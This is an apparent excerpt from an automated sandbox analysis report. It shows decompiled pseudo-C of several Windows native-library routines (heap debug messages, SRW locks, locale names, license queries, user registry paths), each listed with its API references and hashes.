0x6ce0409d
0x6ce040ad
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce0409d
0x6ce04092
0x00000000
0x6ce0407e
0x6ce04025
0x6ce0402a
0x6ce040d1
0x6ce04030
0x6ce04040
0x6ce04040
0x6ce04048
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce03ff9

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6CEC3933,RtlGetUserInfoHeap), ref: 6CE603D9
DbgPrint.1105(HEAP: ,?,?,?,?,6CEC3933,RtlGetUserInfoHeap), ref: 6CE603E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6CEC3933,RtlGetUserInfoHeap), ref: 6CE603F9

Strings

HEAP[%wZ]: , xrefs: 6CE603D4
HEAP: , xrefs: 6CE603E1
Invalid address specified to %s( %p, %p ), xrefs: 6CE603F4

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: e7fcee0956f3b057131c6d7024d697069cf95d178a17f709e53ed2afa642f0c7
Instruction ID: 2571ea94581fdf20c47cad0a008d32f693a8d4a7ca9bbe417c1816e391839762
Opcode Fuzzy Hash: e7fcee0956f3b057131c6d7024d697069cf95d178a17f709e53ed2afa642f0c7
Instruction Fuzzy Hash: 37411230395391CBEB148B1AC5C07AA77F09F2230CF38456AD5959BF42C3B6949AC797

Uniqueness

Uniqueness Score: -1.00%

Function 6CE39ED0, Relevance: 10.6, APIs: 7, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6CE39ED0(signed int* __ecx, signed int __edx, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int* _v40;
				char _v41;
				char _v42;
				char _v45;
				char _v46;
				void* __ebx;
				void* __edi;
				signed int _t39;
				signed int _t66;
				char _t70;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				signed int _t93;
				signed int _t94;
				void* _t98;

				_push(_t66);
				_t88 =  *__ecx;
				_t70 = 0;
				_t93 = __ecx[1];
				_v40 = __ecx;
				_t39 = __edx;
				asm("cdq");
				_v41 = 0;
				_v42 = 0;
				_v36 = __edx;
				_v16 = __edx;
				L1:
				while(1) {
					if(_t70 != 0) {
						E6CE1FFB0(_t66, _t88, _v40 + 8);
						_v46 = 0;
						L15:
						_t39 = _v36;
						L3:
						_v32 = _t93;
						_v28 = _t88;
						asm("adc eax, esi");
						_t89 = _t88 ^ _t39 + _t88 ^ _t88;
						_t94 = _t93 ^ (_v16 ^ _t93) & 0x0fffffff;
						_t84 = _t94 & 0x0fffffff;
						if((_v32 & 0x80000000) != 0) {
							if((_t89 | _t84) != 0) {
								goto L4;
							}
							_t94 = _t94 & 0x7fffffff;
							_v42 = 1;
							E6CE22280(_v40 + 8, _v40 + 8);
							L5:
							_t66 = _t89;
							asm("lock cmpxchg8b [esi]");
							_t88 = _v28;
							_t93 = _v32;
							_t39 = _v36;
							if(_t88 != _v28 || _t93 != _v32) {
								_t70 = _v41;
								continue;
							} else {
								if(_v42 != 0) {
									_t54 = _v40;
									 *((intOrPtr*)(_v40 + 0xc)) = 0;
									E6CE1FFB0(_t66, _t88, _v40 + 8);
									_t39 = E6CED8858( *((intOrPtr*)(_t54 + 0xc)));
								} else {
									if(_v41 != 0) {
										_t91 = _v40;
										_t98 = _v40 + 0xc;
										E6CED8833(_t98,  &_v12);
										E6CE2FA00(_t66, _t98, _v40, _t91 + 8);
										_push(0);
										_push(_t98);
										_t39 = E6CE4B180();
									}
								}
								return _t39;
							}
						}
						L4:
						if(_a4 != 0) {
							if((_t89 | _t84) == 0) {
								goto L5;
							}
							_t94 = _t94 | 0x80000000;
							_v41 = 1;
							E6CE2FAD0(_v40 + 8);
						}
						goto L5;
					}
					if(_t70 != 0) {
						E6CE2FA00(_t66, _t70, _t88, _v40 + 8);
						_v45 = 0;
						goto L15;
					}
					goto L3;
				}
			}

0x6ce39edf
0x6ce39ee2
0x6ce39ee4
0x6ce39ee6
0x6ce39ee9
0x6ce39eed
0x6ce39eef
0x6ce39ef0
0x6ce39ef4
0x6ce39ef8
0x6ce39efc
0x00000000
0x6ce39f00
0x6ce39f02
0x6ce79836
0x6ce7983b
0x6ce79854
0x6ce79854
0x6ce39f10
0x6ce39f12
0x6ce39f1c
0x6ce39f20
0x6ce39f26
0x6ce39f31
0x6ce39f3d
0x6ce39f45
0x6ce79861
0x00000000
0x00000000
0x6ce7986b
0x6ce79874
0x6ce7987a
0x6ce39f51
0x6ce39f5b
0x6ce39f61
0x6ce39f65
0x6ce39f67
0x6ce39f69
0x6ce39f71
0x6ce39fa7
0x00000000
0x6ce39f79
0x6ce39f7e
0x6ce798a1
0x6ce798a8
0x6ce798b3
0x6ce798ba
0x6ce39f84
0x6ce39f89
0x6ce798c4
0x6ce798cc
0x6ce798d1
0x6ce798da
0x6ce798df
0x6ce798e1
0x6ce798e2
0x6ce798e2
0x6ce39f89
0x6ce39f95
0x6ce39f95
0x6ce39f71
0x6ce39f4b
0x6ce39f4f
0x6ce39f9c
0x00000000
0x00000000
0x6ce79888
0x6ce79891
0x6ce79897
0x6ce79897
0x00000000
0x6ce39f4f
0x6ce39f0a
0x6ce7984a
0x6ce7984f
0x00000000
0x6ce7984f
0x00000000
0x6ce39f0a

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6CE79836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6CE7984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6CE7987A
RtlAcquireSRWLockShared.1105(?), ref: 6CE79897
RtlReleaseSRWLockExclusive.1105(?), ref: 6CE798B3

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: e4aff40c6f202f5a11eb83c6e3347c601f7fa626dd6d4f269e1956f4f7e2b80d
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: 8C418A726082528BD714CF298801B5FB7F5AFD6318F284A4DF89897B41D738E909C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0649B, Relevance: 10.6, APIs: 7, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE0649B(signed int __ecx, short* __edx) {
				signed int _v8;
				char _v40;
				void* _v80;
				short _v82;
				char _v84;
				long _v88;
				char _v92;
				void* _v96;
				void* _v98;
				void* _v100;
				void* _v104;
				void* _v106;
				void* _v108;
				void* _v112;
				void* _v120;
				void* _v122;
				void* _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				short _t41;
				void* _t43;
				short _t45;
				void* _t65;
				short* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				signed int _t77;
				signed int _t79;

				_t69 = __edx;
				_t79 = (_t77 & 0xfffffff8) - 0x5c;
				_v8 =  *0x6cefd360 ^ _t79;
				_t71 = __edx;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				if(__edx == 0) {
					_t37 = 0xc000000d;
					L7:
					_pop(_t72);
					_pop(_t74);
					_pop(_t65);
					return E6CE4B640(_t37, _t65, _v8 ^ _t79, _t69, _t72, _t74);
				}
				_t75 = __ecx & 0x0000ffff;
				 *__edx = 0;
				_v80 =  &_v40;
				_t41 = 0x1e;
				_v82 = _t41;
				_t43 = E6CE14720(__edx, __ecx & 0x0000ffff,  &_v84, 2, 0);
				if(_t43 < 0) {
					if(_t43 == 0xc0000023) {
						_v80 = 0;
						_v82 = 0;
						_t43 = E6CE14720(__edx, _t75,  &_v84, 2, 1);
					}
					if(_t43 >= 0) {
						goto L2;
					} else {
						_t76 = 0xc000000d;
						L4:
						if(_v88 != _t79 + 0x24) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						if(_v88 != _t79 + 0x44) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						_t37 = _t76;
						goto L7;
					}
				}
				L2:
				_v88 = _t79 + 0x28;
				_t45 = 0x1e;
				 *((short*)(_t79 + 0x16)) = _t45;
				_t76 = E6CE12EB0(_t69, _v80,  &_v92, 6, 0);
				if(_t76 < 0) {
					if(_t76 == 0xc0000023) {
						_v88 = 0;
						 *((short*)(_t79 + 0x16)) = 0;
						_t76 = E6CE12EB0(_t69, _v80,  &_v92, 6, 1);
					}
					if(_t76 < 0) {
						goto L4;
					} else {
						goto L3;
					}
				}
				L3:
				if(0 != _v92) {
					_t76 = E6CE14570(_t69, _v88, _t79 + 0x24, 3);
					if(_t76 >= 0) {
						 *_t71 =  *((intOrPtr*)(_t79 + 0x20));
					}
				}
				goto L4;
			}

0x6ce0649b
0x6ce064a3
0x6ce064ad
0x6ce064b6
0x6ce064b8
0x6ce064bc
0x6ce064c0
0x6ce064c4
0x6ce064ca
0x6ce61905
0x6ce06550
0x6ce06554
0x6ce06555
0x6ce06556
0x6ce06561
0x6ce06561
0x6ce064d2
0x6ce064d5
0x6ce064de
0x6ce064e2
0x6ce064e4
0x6ce064f1
0x6ce064f8
0x6ce61914
0x6ce61918
0x6ce6191e
0x6ce6192b
0x6ce6192b
0x6ce61932
0x00000000
0x6ce61938
0x6ce61938
0x6ce06532
0x6ce0653a
0x6ce61984
0x6ce61984
0x6ce06548
0x6ce6199c
0x6ce6199c
0x6ce0654e
0x00000000
0x6ce0654e
0x6ce61932
0x6ce064fe
0x6ce06504
0x6ce06508
0x6ce0650a
0x6ce0651f
0x6ce06523
0x6ce61948
0x6ce6194c
0x6ce61952
0x6ce61967
0x6ce61967
0x6ce6196b
0x00000000
0x6ce61971
0x00000000
0x6ce61971
0x6ce6196b
0x6ce06529
0x6ce06530
0x6ce06572
0x6ce06576
0x6ce0657d
0x6ce0657d
0x6ce06576
0x00000000

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6CE064F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6CE0651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6CE0656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6CE6192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6CE61962

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: bb716f418e6a5f53b5853e725d19e4868d167a7f1608e170690d8f50d3375008
Instruction ID: 263911bb5606214ff031ea4bad35ec52b4a87a9aca2143547460235a7306dff2
Opcode Fuzzy Hash: bb716f418e6a5f53b5853e725d19e4868d167a7f1608e170690d8f50d3375008
Instruction Fuzzy Hash: 21416D726487069AD312CF65C840A5BB6F9FF85B58F10092EF980D7A50E730CE598BD3

Uniqueness

Uniqueness Score: -1.00%

Function 6CE34020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE34020(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _t43;
				char _t69;
				intOrPtr _t76;
				intOrPtr* _t78;

				_t78 = _a4;
				_t69 = 0;
				_t76 =  *[fs:0x30];
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(_t78 + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(_t78 + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				 *((intOrPtr*)(_t78 + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t43 =  *((intOrPtr*)(_t76 + 0x1f4));
				if(_t43 == 0 ||  *_t43 == 0) {
					 *((short*)(_t78 + 0x14)) = 0;
				} else {
					if(E6CE14921(_t78 + 0x14, 0x100, _t43) < 0) {
						 *((short*)(_t78 + 0x14)) = 0;
					}
					_t69 = 0;
				}
				if( *_t78 != 0x11c) {
					if( *_t78 != 0x124) {
						goto L10;
					}
					goto L4;
				} else {
					L4:
					 *((short*)(_t78 + 0x114)) =  *(_t76 + 0xaf) & 0x000000ff;
					 *(_t78 + 0x116) =  *(_t76 + 0xae) & 0x000000ff;
					 *(_t78 + 0x118) = E6CE34190();
					if( *_t78 == 0x124) {
						 *(_t78 + 0x11c) = E6CE34190() & 0x0001ffff;
					}
					 *((char*)(_t78 + 0x11a)) = _t69;
					if(E6CE34710( &_v16) != 0) {
						 *((char*)(_t78 + 0x11a)) = _v16;
					}
					RtlInitUnicodeString( &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
					_push( &_v24);
					_push(4);
					_push( &_v12);
					_push( &_v20);
					_push( &_v32);
					if(E6CE4A9B0() < 0) {
						L10:
						return 0;
					} else {
						if(_v12 == 1) {
							if(_v20 != 4 || _v24 != 4) {
								goto L9;
							} else {
								goto L10;
							}
						}
						L9:
						 *(_t78 + 0x118) =  *(_t78 + 0x118) & 0x0000ffef | 0x00000100;
						if( *_t78 == 0x124) {
							 *(_t78 + 0x11c) =  *(_t78 + 0x11c) & 0xfffdffef | 0x00000100;
						}
						goto L10;
					}
				}
			}

0x6ce3402a
0x6ce3402d
0x6ce34030
0x6ce3403c
0x6ce3403f
0x6ce34042
0x6ce3404b
0x6ce34054
0x6ce3405e
0x6ce34067
0x6ce3406a
0x6ce34072
0x6ce3407f
0x6ce763db
0x6ce763e8
0x6ce763ec
0x6ce763ec
0x6ce763f0
0x6ce763f0
0x6ce34089
0x6ce3414e
0x00000000
0x00000000
0x00000000
0x6ce3408f
0x6ce3408f
0x6ce3409b
0x6ce340ac
0x6ce340bd
0x6ce340c6
0x6ce3415f
0x6ce3415f
0x6ce340cf
0x6ce340dd
0x6ce340e2
0x6ce340e2
0x6ce340f1
0x6ce340f9
0x6ce340fa
0x6ce340ff
0x6ce34103
0x6ce34107
0x6ce3410f
0x6ce3413f
0x6ce34145
0x6ce34111
0x6ce34115
0x6ce763fb
0x00000000
0x6ce7640b
0x00000000
0x6ce7640b
0x6ce763fb
0x6ce3411b
0x6ce34132
0x6ce3413b
0x6ce34177
0x6ce34177
0x00000000
0x6ce3413b
0x6ce3410f

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE340B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE340D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE340F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE34108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE34155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6CE340E8

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: 4b63ef10d914fb57d8486513d3051f46356f54782e49d851698ca26a148d0552
Instruction ID: 1732156b10e18696feba59de9eac3ec52025b6a79259bf5405d7a9f8edb370e1
Opcode Fuzzy Hash: 4b63ef10d914fb57d8486513d3051f46356f54782e49d851698ca26a148d0552
Instruction Fuzzy Hash: D4419275A04B569AC724DFB4C4406E6BBF8EF45308F20592FD5A9C3B00E335A545CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE1A3E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72
nativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6CE1A3E0(struct _EXCEPTION_RECORD _a4) {
				signed int _v8;
				char _v88;
				intOrPtr _v92;
				short _v94;
				char _v96;
				void* _v100;
				char _v104;
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t39;
				void* _t44;
				void* _t45;
				short _t46;
				void* _t47;
				struct _EXCEPTION_RECORD _t48;
				signed int _t49;

				_v8 =  *0x6cefd360 ^ _t49;
				_t48 = _a4;
				_push( &_v104);
				_push(0x50);
				_push( &_v88);
				_push(1);
				_push(0xfffffffa);
				_t25 = E6CE49710();
				_t50 = _t25;
				if(_t25 >= 0 && E6CE1A4B0(_t50, _v88,  &_v100) >= 0) {
					_push(_t45);
					_t46 = _v100;
					 *_t48 = 0;
					 *((short*)(_t48 + 2)) = _t46 + 0x22;
					_t31 = E6CE23A1C(_t46 + 0x00000022 & 0x0000ffff);
					 *((intOrPtr*)(_t48 + 4)) = _t31;
					_t52 = _t31;
					if(_t31 == 0) {
						_t25 = 0xc0000017;
					} else {
						RtlAppendUnicodeToString(_t48, L"\\REGISTRY\\USER\\");
						_v96 = 0;
						_v94 = _t46;
						_v92 =  *((intOrPtr*)(_t48 + 4)) + (( *_t48 & 0x0000ffff) >> 1) * 2;
						_t47 = E6CE1A500(_t39, _t48, _t52,  &_v96, _v88, 0);
						if(_t47 < 0) {
							RtlFreeUnicodeString(_t48);
						} else {
							 *_t48 =  *_t48 + _v96;
						}
						_t25 = _t47;
					}
					_pop(_t45);
				}
				return E6CE4B640(_t25, _t39, _v8 ^ _t49, _t44, _t45, _t48);
			}

0x6ce1a3ef
0x6ce1a3f3
0x6ce1a3f9
0x6ce1a3fa
0x6ce1a3ff
0x6ce1a400
0x6ce1a402
0x6ce1a404
0x6ce1a409
0x6ce1a40b
0x6ce1a41d
0x6ce1a41e
0x6ce1a423
0x6ce1a429
0x6ce1a431
0x6ce1a436
0x6ce1a439
0x6ce1a43b
0x6ce1a48f
0x6ce1a43d
0x6ce1a443
0x6ce1a44d
0x6ce1a45b
0x6ce1a462
0x6ce1a46e
0x6ce1a472
0x6ce1a497
0x6ce1a474
0x6ce1a478
0x6ce1a478
0x6ce1a47b
0x6ce1a47b
0x6ce1a47d
0x6ce1a47d
0x6ce1a48c

APIs

ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6CE1A404
RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A414

Part of subcall function 6CE1A4B0: RtlValidSid.1105(?,?,?,6CE1A419,?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A4BA

RtlFreeUnicodeString.1105(?,?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A497

Part of subcall function 6CE23A1C: RtlAllocateHeap.1105(?,00000000,00000000,?,6CE467C0,0000004E,00000000,?,6CE983BE,?,?), ref: 6CE23A2F

RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A443

Part of subcall function 6CE1A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6CE1A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6CE1A9E2

RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6CE1A469

Part of subcall function 6CE1A500: RtlValidSid.1105(00000050,?), ref: 6CE1A523
Part of subcall function 6CE1A500: wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6CE1A54A

Strings

\REGISTRY\USER\, xrefs: 6CE1A43D

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Valid$AllocateAppendConvertFreeHeapInformationLengthQueryTokenmemmovewcscpy_s
String ID: \REGISTRY\USER\
API String ID: 3017593230-2169711131
Opcode ID: 7913742810ff79bf4eec6739fa4282745eeaa1cda20427088ce47597c82919de
Instruction ID: c8f905dee39670efa8ab9d4cabb81b51f5f95691b53ce4dfd261ed8c20f99b12
Opcode Fuzzy Hash: 7913742810ff79bf4eec6739fa4282745eeaa1cda20427088ce47597c82919de
Instruction Fuzzy Hash: F621C371A442889ADB10CFE5C905AFEB3F8AF48314F20452AE955EBA40FB34D91DCB54

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2B8E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6CE2B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0x6cef8748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E6CE0B150();
						} else {
							E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E6CE0B150();
						__eflags =  *0x6cef7bc8;
						if(__eflags == 0) {
							E6CEC2073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E6CE2AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x6ce2b8f0
0x6ce2b8f2
0x6ce2b8f4
0x6ce72c4e
0x6ce72c50
0x6ce72c56
0x6ce72c5c
0x6ce72c60
0x6ce72c7f
0x6ce72c84
0x6ce72c62
0x6ce72c77
0x6ce72c7c
0x6ce72c8a
0x6ce72c8f
0x6ce72c94
0x6ce72c9c
0x6ce72ca5
0x6ce72ca5
0x6ce72c9c
0x6ce72c50
0x6ce2b8fa
0x6ce2b902
0x6ce2b921
0x6ce2b921
0x6ce2b924
0x6ce2b924
0x6ce2b927
0x00000000
0x00000000
0x6ce2b929
0x6ce2b92b
0x6ce2b92d
0x6ce2b940
0x00000000
0x6ce2b940
0x6ce2b932
0x6ce2b932
0x00000000
0x6ce2b932
0x00000000
0x6ce2b904
0x6ce2b904
0x6ce2b90a
0x6ce2b90c
0x6ce2b916
0x6ce2b919
0x6ce2b915
0x6ce2b915
0x6ce2b91b
0x6ce2b91b
0x00000000
0x6ce2b910

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,-00000020,?,6CE2B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6CE72C77
DbgPrint.1105((ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size),?,-00000020,?,6CE2B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6CE72C8F

Strings

HEAP[%wZ]: , xrefs: 6CE72C72
HEAP: , xrefs: 6CE72C7F
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 6CE72C8A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 3558298466-2558761708
Opcode ID: 478b41490678ee3c1e3a97581b9aac546334f25e32ebbf5fec8e0dc941e8afd4
Instruction ID: e4089c52853cf496c591c7c671dab84ede3dca81276b0402d381c65b6e0e37c2
Opcode Fuzzy Hash: 478b41490678ee3c1e3a97581b9aac546334f25e32ebbf5fec8e0dc941e8afd4
Instruction Fuzzy Hash: C111D331B59101CBD718CB19C484B66B3B5FB42728F38912DE05BCBB50DB38D849D691

Uniqueness

Uniqueness Score: -1.00%

Function 6CE09240, Relevance: 10.6, APIs: 7, Instructions: 63
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6CE09240(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x6cedf708);
				E6CE5D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E6CE495D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E6CE495D0();
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000,  *(_t65 + 0x10));
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000,  *(_t65 + 0x1c));
				E6CE22280(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000,  *(_t65 + 0x20)), 0x6cef86b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_push( *(_t66 + 0x14));
					E6CE495D0();
					_push( *(_t66 + 0x10));
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E6CE495D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
